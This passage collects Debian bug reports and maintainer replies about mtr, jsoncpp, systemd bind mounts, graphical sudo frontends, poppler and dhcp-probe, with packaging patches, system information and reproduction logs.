return results. So to prevent unnecessary load on the network (which
when you're running mtr is already experiencing difficulties) we put
an upper limit on the number of hosts that don't respond. 

Your example with a tunnel is a good one. At first I thought the TTL
should be set to "max" when entering the tunnel, but on second thought
that would be bad: routing / tunneling mishap could then "rejuvenate"
a packet each time it enters the tunnel leading to chaos (packets that
keep running circles and never die). 

Anyway, I've already increased the limit in the development version,
and I thank you for explaining to me why this is becoming more common.

Roger. 


-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.

Bug#840563: mtr: New 0.87 release fixes issue with paths with long gaps

[Rogier Wolff]

On Wed, Oct 12, 2016 at 03:29:41PM -0400, Matthew Gabeler-Lee wrote:
> Package: mtr
> Version: 0.86-1+b1
> Severity: wishlist
> 
> A new upstream release 0.87 has a fix (of sorts) for the problem where MTR
> will not trace a successful path that has more than five non-responding
> hops.  I say fix "of sorts" because the default limit for this has not been
> changed, but it is now possible to override that default on the command
> line.  FWIW the MTR git shows that an upcoming not-yet-released version also
> increases the default to a more reasonable value.

No! Not a "more reasonable" value! An outrageous value!

You have a network where 5 hops-in-a-row don't conform to IP standards. And
then you expect mtr to work?

Roger. 


> 
> -- System Information:
> Debian Release: stretch/sid
>   APT prefers testing
>   APT policy: (990, 'testing'), (500, 'unstable'), (1, 'experimental')
> Architecture: amd64 (x86_64)
> Foreign Architectures: i386
> 
> Kernel: Linux 4.7.0-1-amd64 (SMP w/8 CPU cores)
> Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
> Shell: /bin/sh linked to /bin/dash
> Init: systemd (via /run/systemd/system)
> 
> Versions of packages mtr depends on:
> ii  libatk1.0-0  2.22.0-1
> ii  libc62.24-3
> ii  libcairo21.14.6-1+b1
> ii  libfontconfig1   2.11.0-6.7
> ii  libfreetype6 2.6.3-3+b1
> ii  libgdk-pixbuf2.0-0   2.36.0-1
> ii  libglib2.0-0 2.50.0-2
> ii  libgtk2.0-0  2.24.31-1
> ii  libncurses5  6.0+20160917-1
> ii  libpango-1.0-0   1.40.3-2
> ii  libpangocairo-1.0-0  1.40.3-2
> ii  libpangoft2-1.0-01.40.3-2
> ii  libtinfo56.0+20160917-1
> 
> mtr recommends no packages.
> 
> mtr suggests no packages.
> 
> -- no debconf information
> 

-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.

Bug#839879: mtr FTCBFS: uses build architecture tools

[Rogier Wolff]

Hi Helmut, 

Is there anything I need to do in the upstream sources?  As far as I
can see you patched just the debian build rules, right?

Roger.



On Thu, Oct 06, 2016 at 05:44:13AM +0200, Helmut Grohne wrote:
> Source: mtr
> Version: 0.86-1
> Tags: patch
> User: helm...@debian.org
> Usertags: rebootstrap
> 
> mtr fails to cross build from source, because it doesn't pass --host to
> configure. Rather than extending the long line even further, I opted for
> using dh_auto_configure in the attached patch. It also simplifies the
> management of installation paths by leveraging DESTDIR, which is why I
> also had to switch to dh_auto_install. After switching to
> dh_auto_configure cross builds just work. Can you apply it?
> 
> Helmut

> diff --minimal -Nru mtr-0.86/debian/changelog mtr-0.86/debian/changelog
> --- mtr-0.86/debian/changelog 2015-12-07 20:37:45.0 +0100
> +++ mtr-0.86/debian/changelog 2016-10-06 05:27:27.0 +0200
> @@ -1,3 +1,10 @@
> +mtr (0.86-1.1) UNRELEASED; urgency=medium
> +
> +  * Non-maintainer upload.
> +  * Fix FTCBFS: Let dh_auto_configure pass cross flags, closes: #-1
> +
> + -- Helmut Grohne   Thu, 06 Oct 2016 05:27:09 +0200
> +
>  mtr (0.86-1) unstable; urgency=low
>  
>* Added patch from Andrew Suffield to use setcap instead of setuid,
> diff --minimal -Nru mtr-0.86/debian/rules mtr-0.86/debian/rules
> --- mtr-0.86/debian/rules 2015-12-07 21:02:22.0 +0100
> +++ mtr-0.86/debian/rules 2016-10-06 05:38:41.0 +0200
> @@ -15,9 +15,9 @@
>  
>   autoreconf -fi
>  
> - mkdir mtr && cd mtr && CFLAGS=-I.. ../configure $(shell dpkg-buildflags 
> --export=configure >/dev/null 2>&1 && dpkg-buildflags --export=configure) 
> $(confflags) --prefix=`pwd`/debian/tmp/usr 
> --mandir=`pwd`/debian/tmp/usr/share/man --sbindir=`pwd`/debian/tmp/usr/bin
> + CFLAGS=-I.. dh_auto_configure --builddirectory=mtr -- $(shell 
> dpkg-buildflags --export=configure >/dev/null 2>&1 && dpkg-buildflags 
> --export=configure) $(confflags)
>  
> - mkdir mtr-tiny && cd mtr-tiny && CFLAGS=-I.. ../configure $(shell 
> dpkg-buildflags --export=configure >/dev/null 2>&1 && dpkg-buildflags 
> --export=configure) $(confflags) --prefix=`pwd`/debian/tmp/usr 
> --mandir=`pwd`/debian/tmp/usr/share/man --sbindir=`pwd`/debian/tmp/usr/bin 
> --without-gtk
> + CFLAGS=-I.. dh_auto_configure --builddirectory=mtr-tiny -- $(shell 
> dpkg-buildflags --export=configure >/dev/null 2>&1 && dpkg-buildflags 
> --export=configure) $(confflags) --without-gtk
>  
>  
>  
> @@ -40,10 +40,8 @@
>  
>  override_dh_installdirs-arch:
>   dh_installdirs -a
> - $(MAKE) -C mtr-tiny prefix=`pwd`/debian/mtr-tiny/usr install
> - mv mtr-tiny/debian/tmp/usr/bin/mtr debian/mtr-tiny/usr/bin/
> - $(MAKE) -C mtr prefix=`pwd`/debian/mtr/usr install
> - mv mtr/debian/tmp/usr/bin/mtr debian/mtr/usr/bin/
> + dh_auto_install --builddirectory=mtr-tiny --destdir=debian/mtr-tiny
> + dh_auto_install --builddirectory=mtr --destdir debian/mtr
>  
>  override_dh_installchangelogs-arch:
>   dh_installchangelogs -a NEWS


-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.

Bug#835092: libjsoncpp-dev: Not compatible with pre-C++11

[Rogier]

Package: libjsoncpp-dev
Version: 1.7.2
Severity: important

Dear Maintainer,

When compiling according to c++ standard before c++11, the jsoncpp
headers cause compiler errors due to this code in config.h:

#if defined(_MSC_VER) && _MSC_VER <= 1600 // MSVC <= 2010
# define JSONCPP_OVERRIDE
#else
# define JSONCPP_OVERRIDE override
#endif // MSVC <= 2010

Because the 'override' keyword is not defined in pre-c++11.

This causes all code that does not explicitly select c++11 to fail to
compile with gcc <= 5, and all code that selects anything before c++11
to fail to compile as well.

Please update jsoncpp to 1.7.3 or 1.7.4; commit ba6fa4 fixes this issue.

Kind regards,

Rogier.

Bug#824142: mtr 0.86 uses suboptimal colours in curses (patch attached)

[Rogier Wolff]

Hi Adam, 

I'm really busy right now. But if there is a patch out there that I
need to apply "upstream", let me know.

Roger. 

On Thu, May 12, 2016 at 01:40:04PM -0600, Adam Conrad wrote:
> Package: mtr
> Version: 0.86-1
> Severity: normal
> Tags: patch
> User: ubuntu-de...@lists.ubuntu.com
> Usertags: origin-ubuntu yakkety ubuntu-patch
> 
> 
> 
> In Ubuntu, the attached patch was applied to achieve the following:
> 
>   * Pull commits from upstream to fix terminal colours (LP: #1581186)
> 
> As I note in the LP bug[1], this is hardly a critical issue, but it's
> been driving me nuts since 0.86 landed.  Stupidly, I went and learned
> curses and fixed it locally, which only then gave me the right search
> terms (mtr + use_default_colors) to get Google to point out that it
> was already fixed in upstream git.  So, I threw away my work, grabbed
> the upstream commits, and here we are.
> 
> Would be lovely for you to pick this up in the Debian package, so I
> can delete my recently-added delta from Ubuntu (and so Debian users
> can enjoy slightly less broken colours in mtr in unstable).
> 
> ... Adam
> 
> [1] https://bugs.launchpad.net/ubuntu/+source/mtr/+bug/1581186
> 
> -- System Information:
> Debian Release: stretch/sid
>   APT prefers yakkety
>   APT policy: (500, 'yakkety')
> Architecture: amd64 (x86_64)
> Foreign Architectures: i386
> 
> Kernel: Linux 4.4.0-21-lowlatency (SMP w/4 CPU cores; PREEMPT)
> Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
> Shell: /bin/sh linked to /bin/dash
> Init: systemd (via /run/systemd/system)

> diff -Nru mtr-0.86/debian/patches/color1.patch 
> mtr-0.86/debian/patches/color1.patch
> --- mtr-0.86/debian/patches/color1.patch  1969-12-31 17:00:00.0 
> -0700
> +++ mtr-0.86/debian/patches/color1.patch  2016-05-12 12:58:21.0 
> -0600
> @@ -0,0 +1,34 @@
> +commit 63a1f1493bfbaf7e55eb7e20b3791fc8b14cf92d
> +Author: Rogier Wolff 
> +Date:   Mon Dec 29 09:22:46 2014 +0100
> +
> +added use-default-colors...
> +
> +diff --git a/configure.ac b/configure.ac
> +index d5d1b0e..7199781 100644
> +--- a/configure.ac
>  b/configure.ac
> +@@ -34,6 +34,9 @@ AC_CHECK_FUNC(initscr, ,
> + AC_DEFINE(NO_CURSES, 1, Define if you don't have the curses libraries 
> available.)
> + CURSES_OBJ=
> + 
> ++AC_CHECK_LIB(ncurses, use_default_colors, 
> ++  AC_DEFINE(HAVE_USE_DEFAULT_COLORS, 1, [Define this if your curses library 
> has the use_default_colors() command.]))
> ++
> + AC_CHECK_FUNCS(attron fcntl)
> + 
> + AC_CHECK_LIB(m, floor, , AC_MSG_ERROR(No math library found))
> +diff --git a/curses.c b/curses.c
> +index 3904cb1..02b7937 100644
> +--- a/curses.c
>  b/curses.c
> +@@ -701,6 +701,9 @@ void mtr_curses_open(void)
> +   raw();
> +   noecho(); 
> +   start_color();
> ++#ifdef HAVE_USE_DEFAULT_COLORS
> ++  use_default_colors();
> ++#endif
> +   int i;
> +   for (i = 0; i < 8; i++)
> +   init_pair(i+1, i, 0);
> diff -Nru mtr-0.86/debian/patches/color2.patch 
> mtr-0.86/debian/patches/color2.patch
> --- mtr-0.86/debian/patches/color2.patch  1969-12-31 17:00:00.0 
> -0700
> +++ mtr-0.86/debian/patches/color2.patch  2016-05-12 12:58:21.0 
> -0600
> @@ -0,0 +1,30 @@
> +commit 7571201cf7a3394e0dcd2b037aba1836089cc084
> +Author: Narthorn 
> +Date:   Mon Oct 12 13:24:57 2015 +0200
> +
> +curses: Fix background transparency in terminal
> +
> +Patch comes from, and closes traviscross/mtr#72.
> +
> +diff --git a/curses.c b/curses.c
> +index 02b7937..f95f5d1 100644
> +--- a/curses.c
>  b/curses.c
> +@@ -700,13 +700,15 @@ void mtr_curses_open(void)
> +   initscr();
> +   raw();
> +   noecho(); 
> ++  int bg_col = 0;
> +   start_color();
> + #ifdef HAVE_USE_DEFAULT_COLORS
> +-  use_default_colors();
> ++  if (use_default_colors() == OK)
> ++bg_col = -1;
> + #endif
> +   int i;
> +   for (i = 0; i < 8; i++)
> +-  init_pair(i+1, i, 0);
> ++  init_pair(i+1, i, bg_col);
> + 
> +   mtr_curses_init();
> +   mtr_curses_redraw();
> diff -Nru mtr-0.86/debian/patches/series mtr-0.86/debian/patches/series
> --- mtr-0.86/debian/patches/series2015-12-07 12:49:27.0 -0700
> +++ mtr-0.86/debian/patches/series2016-05-12 12:58:41.0 -0600
> @@ -0,0 +1,2 @@
> +color1.patch
> +color2.patch


-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.

Bug#816912: systemd: Can't make non-shared bind mounts in fstab

[Rogier]

Package: systemd
Version: 215-18
Severity: normal

Dear Maintainer,

For some time, I have been using a distinct set of bind mounts of the system
directory tree (i.e. /, /usr, /var) for backup purposes. Unfortunately,
it seems that systemd now makes bind mounts shared by default, so that /tmp,
/home etc. etc. end up being mounted as well, which makes it impossible to
make a backup of just a subset of my filesystem tree.

The only 'solution' I have found, is that applications that need non-shared
bind mounts should be adapted. However, the application in question here is
systemd itself...

Please add an fstab flag (or so) that directs systemd to create a non-shared
bind mount.

Kind regards,

Rogier.

/etc/fstab:

---
#
/dev/data/root  /   ext4
errors=remount-ro,relatime 0 1
/dev/data/boot  /boot   ext4relatime0 2
/dev/data/home  /home   ext4relatime0 2
/dev/data/tmp   /tmpext4
relatime0 2
/dev/data/usr   /usrext4
relatime0 2
/dev/data/local /usr/local  ext4relatime0 2
/dev/data/var   /varext4
relatime0 2
/dev/data/swap  noneswapsw  
0 0
/dev/data/scratch   /mnt/scratchext4relatime
0 2
/dev/data/media /home/rogier/media  ext4relatime0 2
/dev/data/wheezy32  /mnt/wheezy32   ext4
ro,relatime,noauto  0 2
/dev/data/wheezy64  /mnt/wheezy64   ext4
ro,relatime,noauto  0 2
/dev/data/jessie32  /mnt/jessie32   ext4
ro,relatime,noauto  0 2
/dev/data/jessie64  /mnt/jessie64   ext4
ro,relatime,noauto  0 2
/dev/data/stretch32 /mnt/stretch32  ext4ro,relatime,noauto  0 2
/dev/data/stretch64 /mnt/stretch64  ext4ro,relatime,noauto  0 2
/dev/backup/backup  /var/lib/backuppc   ext4relatime,noauto 
0 2
/dev/data/postgresql/var/lib/postgresql ext4relatime0 2
/dev/data/deb-cache /var/cache/apt/archives ext4relatime0 2

# Loopback mounts of system filesystems for backup - allows using rsync without 
need to
# exclude all unwanted mounts on the command-line (which is unmaintainable)
/   /export/sys nonerw,bind 
0 0
/usr/export/sys/usr nonero,bind 0 0
/var/export/sys/var nonerw,bind 0 0
/boot   /export/sys/bootnonero,bind 0 0
/usr/local  /export/sys/usr/local   nonero,bind 0 0
---

-- Package-specific info:

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages systemd depends on:
ii  acl 2.2.52-2
ii  adduser 3.113+nmu3
ii  initscripts 2.88dsf-59.2
ii  libacl1 2.2.52-2
ii  libaudit1   1:2.4.2-1
ii  libblkid1   2.26.2-6
ii  libc6   2.19-18
ii  libcap2 1:2.24-9
ii  libcap2-bin 1:2.24-9
ii  libcryptsetup4  2:1.6.6-5
ii  libgcrypt20 1.6.3-2
ii  libkmod220-1
ii  liblzma55.1.1alpha+20120614-2+b3
ii  libpam0g1.1.8-3.1
ii  libselinux1 2.3-2+b1
ii  libsystemd0 215-18
ii  mount   2.26.2-6
ii  sysv-rc 2.88dsf-59.2
ii  udev215-18
ii  util-linux  2.26.2-6

Versions of packages systemd recommends:
ii  dbus1.8.18-1
ii  libpam-systemd  215-18

Versions of packages systemd suggests:
pn  systemd-ui  

-- no debconf information

Bug#806306: linssid: Dependency on gksu is too strong and too specific

[Rogier]

Package: linssid
Version: 2.7-3
Severity: normal

Dear Maintainer,

Currently, linssid depends on gksu. However, kdesudo does the the job just
as well, and presumably lxqt-sudo also does. So please make linssid depend
on gksu *or* kdesudo *or* lxqt-sudo.  As linssid is a QT application, it also
seems more logical to actually prefer kdesudo or lxqt-sudo over gksu.

In addition, if the user has some other way or application to obtain the 
required root
privileges, there is no need for gksu or kdesudo at all. It is my impression 
that linssid
does not actually need either to function. They don't even enhance the 
functionality of
linssid. Rather: they *can* be used by a regular user to start linssid, as it 
needs root
privileges to start.

So, IMHO, the sudo frontend should not be a dependency, but a recommendation
instead.

Kind regards,

Rogier.


-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_NL@rjg, LC_CTYPE=nl_NL.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages linssid depends on:
ii  gksu2.0.2-9
ii  iw  3.17-1
ii  libc6   2.19-18
ii  libgcc1 1:5.1.1-9
ii  libqt5core5a5.4.2+dfsg-5
ii  libqt5gui5  5.4.2+dfsg-5
ii  libqt5svg5  5.4.2-2
ii  libqt5widgets5  5.4.2+dfsg-5
ii  libstdc++6  5.1.1-9
ii  wireless-tools  30~pre9-8

linssid recommends no packages.

linssid suggests no packages.

-- no debconf information

Bug#806309: lxqt-sudo: Please create virtual package and alternatives for graphical sudo frontend

[Rogier]

Package: lxqt-sudo
Version: 0.10.0-2
Severity: wishlist

Dear Maintainer,

gksudo, kdesudo and lxqt-sudo currently provide similar services, and having
one of them installed on a system should be sufficient IMHO. However, as it
stands, packages are recommending, or even depending on, a specific one
of these frontends.

Please consider creating a virtual package (e.g. sudo-graphical-frontend),
and a desktop-independent executable (e.g. using alternatives) so that packages
that require generic graphical sudo services can depend on and use those.

Maybe that some applications do require a specific frontend, but I'm sure there
is a significant number of packages that works fine with whatever sudo frontend
happens to be installed.

I am submitting this same bug for gksu, kdesudo and lxqt-sudo.

Kind regards,

Rogier.
-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Bug#806308: gksu: Please create virtual package and alternatives for graphical sudo frontend

[Rogier]

Package: gksu
Version: 2.0.2-9
Severity: wishlist

Dear Maintainer,

gksudo, kdesudo and lxqt-sudo currently provide similar services, and having
one of them installed on a system should be sufficient IMHO. However, as it
stands, packages are recommending, or even depending on, a specific one
of these frontends.

Please consider creating a virtual package (e.g. sudo-graphical-frontend),
and a desktop-independent executable (e.g. using alternatives) so that packages
that require generic graphical sudo services can depend on and use those.

Maybe that some applications do require a specific frontend, but I'm sure there
is a significant number of packages that works fine with whatever sudo frontend
happens to be installed.

I am submitting this same bug for gksu, kdesudo and lxqt-sudo.

Kind regards,

Rogier.

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages gksu depends on:
ii  gconf-service 3.2.6-3
ii  libatk1.0-0   2.16.0-2
ii  libc6 2.19-18
ii  libcairo2 1.14.2-2
ii  libfontconfig12.11.0-6.3
ii  libfreetype6  2.5.2-4
ii  libgconf-2-4  3.2.6-3
ii  libgdk-pixbuf2.0-02.31.4-2
ii  libgksu2-02.0.13~pre1-8
ii  libglib2.0-0  2.44.1-1
ii  libgnome-keyring0 3.12.0-1+b1
ii  libgtk2.0-0   2.24.25-3
ii  libpango-1.0-01.36.8-3
ii  libpangocairo-1.0-0   1.36.8-3
ii  libpangoft2-1.0-0 1.36.8-3
ii  libstartup-notification0  0.12-4
ii  sudo  1.8.12-1

Versions of packages gksu recommends:
ii  gnome-keyring  3.16.0-2

gksu suggests no packages.

-- no debconf information

Bug#806307: kdesudo: Please create virtual package and alternatives for graphical sudo frontend

[Rogier]

Package: kdesudo
Version: 3.4.2.4-2
Severity: wishlist

Dear Maintainer,

gksudo, kdesudo and lxqt-sudo currently provide similar services, and having
one of them installed on a system should be sufficient IMHO. However, as it
stands, packages are recommending, or even depending on, a specific one
of these frontends.

Please consider creating a virtual package (e.g. sudo-graphical-frontend),
and a desktop-independent executable (e.g. using alternatives) so that packages
that require generic graphical sudo services can depend on and use those.

Maybe that some applications do require a specific frontend, but I'm sure there
is a significant number of packages that works fine with whatever sudo frontend
happens to be installed.

I am submitting this same bug for gksu, kdesudo and lxqt-sudo.

Kind regards,

Rogier.


-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages kdesudo depends on:
ii  debconf [debconf-2.0]  1.5.56
ii  kde-runtime4:4.14.2-2
ii  libc6  2.19-18
ii  libgcc11:5.1.1-9
ii  libkdecore54:4.14.2-5
ii  libkdeui5  4:4.14.2-5
ii  libqt4-dbus4:4.8.6+git155-g716fbae+dfsg-2
ii  libqt4-svg 4:4.8.6+git155-g716fbae+dfsg-2
ii  libqtcore4 4:4.8.6+git155-g716fbae+dfsg-2
ii  libqtgui4  4:4.8.6+git155-g716fbae+dfsg-2
ii  libstdc++6 5.1.1-9
ii  sudo   1.8.12-1

kdesudo recommends no packages.

kdesudo suggests no packages.

-- debconf information:
* kdesudo/kdesu: true

Bug#789083: mtr_0.85.orig.tar.gz contains .o files

[Rogier Wolff]

If I remember correctly I once noticed this, fixed it and promptly had
the  guys in my neck: They store a hash of the
original distrobuted source in their build-system to make sure that
changing the source without changing the version number is detected
(or a malicious injection of backdoor code!)

It's a mistake. I'll try not to let it happen again, but I can't fix
it retroactively.

Roger. 


On Wed, Jun 17, 2015 at 04:24:14PM +, Rob J. Epping wrote:
> Source: mtr
> Severity: minor
> 
> mtr_0.85.orig.tar.gz contains .o files for almost all .c files.
> 
> epping@breis:~/src/mtr-0.85$ file *.o
> asn.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> curses.o:  ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> display.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> dns.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> getopt1.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> getopt.o:  ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> gtk.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> mtr.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> net.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> raw.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> report.o:  ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> select.o:  ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> split.o:   ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
> epping@breis:~/src/mtr-0.85$
> 
> 
> -- System Information:
> Debian Release: 8.1
>   APT prefers stable-updates
>   APT policy: (500, 'stable-updates'), (500, 'stable'), (450, 
> 'testing-updates'), (450, 'testing')
> Architecture: armel (armv5tel)
> 
> Kernel: Linux 3.16.0-4-kirkwood
> Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
> Shell: /bin/sh linked to /bin/bash
> Init: systemd (via /run/systemd/system)
> 

-- 
** r.e.wo...@bitwizard.nl ** http://www.BitWizard.nl/ ** +31-15-2600998 **
**Delftechpark 26 2628 XH  Delft, The Netherlands. KVK: 27239233**
*-- BitWizard writes Linux device drivers for any device you may have! --*
The plan was simple, like my brother-in-law Phil. But unlike
Phil, this plan just might work.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#661795: dhcp-probe: deleted conffiles not purged from ucf in postrm script

[Rogier]

Hi,

Thanks for the reply.

I see one difference between your test and mine: In my test, I delete one of 
the 
configuration files before removing dhcp-probe. I.e.:

# aptitude install dhcp-probe

# ls /etc/dhcp-probe

# ### IMPORTANT: DELETE ONE CONFIG FILE: ###
# rm /etc/dhcp-probe/dhcp-probe.wlan0

# aptitude purge dhcp-probe

# aptitude install dhcp-probe

# ls /etc/dhcp-probe

The contents of /etc/dhcp-probe will be different after the second 
installation, 
even though dhcp-probe was purged.

Kind regards,

Rogier.

Bug#783607: libpoppler: Some contents in some pdf documents seem to be ignored

[Rogier]

Package: libpoppler46
Version: 0.26.5-1
Severity: important

Dear Maintainer,

Poppler fails to correctly process the contents of some pdf files. Part of
the contents seem to be simply ignored.

An example file is attached (decompressed pdf). Using pdftotext, a euro sign
and two blank lines are displayed, whereas the file contains much more text
than that, as can be verified using other pdf tools, or by viewing the file
in a text editor.

I tested version 0.28.1-1 as well (using pdftotext), and the behavior is
the same.

The attached file is rendered incorrectly by okular, evince, xpdf and
poppler-utils (pdftotext, pdftohtml).
It is correctly rendered when using gv (1:3.7.4-1), firefox (iceweasel
31.6.0esr-1, using the built-in PDF viewer) and mupdf (1.6-1).

(I tested these packages on an up-to-date debian stretch system (as of 28 april 
2015))

Kind regards,

Rogier.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.16-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages libpoppler46:i386 depends on:
ii  libc6  2.19-11
ii  libfontconfig1 2.11.0-6.1
ii  libfreetype6   2.5.2-2
ii  libgcc11:4.9.1-16
ii  libjpeg62  1:1.3.1-3
ii  liblcms2-2 2.6-3+b1
ii  libopenjpeg5   1:1.5.2-3
ii  libpng12-0 1.2.50-2
ii  libstdc++6 4.9.1-16
ii  libtiff5   4.0.3-10+b1
ii  multiarch-support  2.19-11

Versions of packages libpoppler46:i386 recommends:
ii  poppler-data  0.4.7-1

libpoppler46:i386 suggests no packages.

-- no debconf information


p4.pdf.bz2
Description: application/bzpdf

Bug#661795: dhcp-probe: deleted conffiles not purged from ucf in postrm script

[Rogier]

Hi,

> I try this evening to install dhcp-probe-1.3.0-10 on my laptop.
> Interface detection work fine and file is created.
> When I purge the package the entire /etc/dhcp-probe is purged (no
> file is left in directory, itself deleted).

I just retested this issue on a freshly apt-get-update-d jessie (virtual)
machine, and reproduced the problem.

Steps to reproduce:
$ apt-get install dhcp-probe(never previously installed on this 
machine; Tested on a machine with two ethernet interfaces: eth0 and eth1)
$ rm /etc/dhcp-probe/dhcp-probe.eth1
$ apt-get purge dhcp-probe
$ apt-get install dhcp-probe
See the log below. The error (/warning) message in question is 9 lines from the 
bottom.

After purging dhcp-probe, apparently some information relating to its config
files remains (or can remain ?) stored on the system, even though the files
themselves were removed. IMO, such information should be erased as well
when purging.

Regards,

Rogier.


Reproduction log:

jessie:root ~ 5 # apt-get install dhcp-probe
Reading package lists... Done
Building dependency tree   
Reading state information... Done
The following package was automatically installed and is no longer required:
  linux-image-amd64
Use 'apt-get autoremove' to remove it.
The following extra packages will be installed:
  libnet1 libpcap0.8
The following NEW packages will be installed:
  dhcp-probe libnet1 libpcap0.8
0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded.
Need to get 201 kB/263 kB of archives.
After this operation, 579 kB of additional disk space will be used.
Do you want to continue? [Y/n] 
Get:1 http://ftp.nl.debian.org/debian/ jessie/main libpcap0.8 i386 1.6.2-2 [137 
kB]
Get:2 http://ftp.nl.debian.org/debian/ jessie/main dhcp-probe i386 1.3.0-10.1 
[64.0 kB]
Fetched 187 kB in 0s (613 kB/s)  
Selecting previously unselected package libnet1:i386.
(Reading database ... 22119 files and directories currently installed.)
Preparing to unpack .../libnet1_1.1.6+dfsg-3_i386.deb ...
Unpacking libnet1:i386 (1.1.6+dfsg-3) ...
Selecting previously unselected package libpcap0.8:i386.
Preparing to unpack .../libpcap0.8_1.6.2-2_i386.deb ...
Unpacking libpcap0.8:i386 (1.6.2-2) ...
Selecting previously unselected package dhcp-probe.
Preparing to unpack .../dhcp-probe_1.3.0-10.1_i386.deb ...
Unpacking dhcp-probe (1.3.0-10.1) ...
Processing triggers for man-db (2.7.0.2-5) ...
Setting up libnet1:i386 (1.1.6+dfsg-3) ...
Setting up libpcap0.8:i386 (1.6.2-2) ...
Setting up dhcp-probe (1.3.0-10.1) ...

Creating config file /etc/dhcp-probe/dhcp-probe.eth0 with new version

Creating config file /etc/dhcp-probe/dhcp-probe.eth1 with new version

Creating config file /etc/dhcp_probe.cf with new version
Starting dhcp-probe daemon on interface eth0: 
start_daemon - Waiting for an ip on iface eth0, round:   1
waited 1s to get an ip on eth0Waiting for pid file round: 1
Waited 2s to find a eth0 pid file
Done.
Starting dhcp-probe daemon on interface eth1: 
start_daemon - Waiting for an ip on iface eth1, round:   1
waited 1s to get an ip on eth1Waiting for pid file round: 1
Waited 2s to find a eth1 pid file
Done.
Processing triggers for libc-bin (2.19-18) ...
jessie:root ~ 6 # rm /etc/dhcp-probe/dhcp-probe.eth1
jessie:root ~ 7 # apt-get purge dhcp-probe
Reading package lists... Done
Building dependency tree   
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libnet1 libpcap0.8 linux-image-amd64
Use 'apt-get autoremove' to remove them.
The following packages will be REMOVED:
  dhcp-probe*
0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
After this operation, 112 kB disk space will be freed.
Do you want to continue? [Y/n] 
(Reading database ... 22165 files and directories currently installed.)
Removing dhcp-probe (1.3.0-10.1) ...
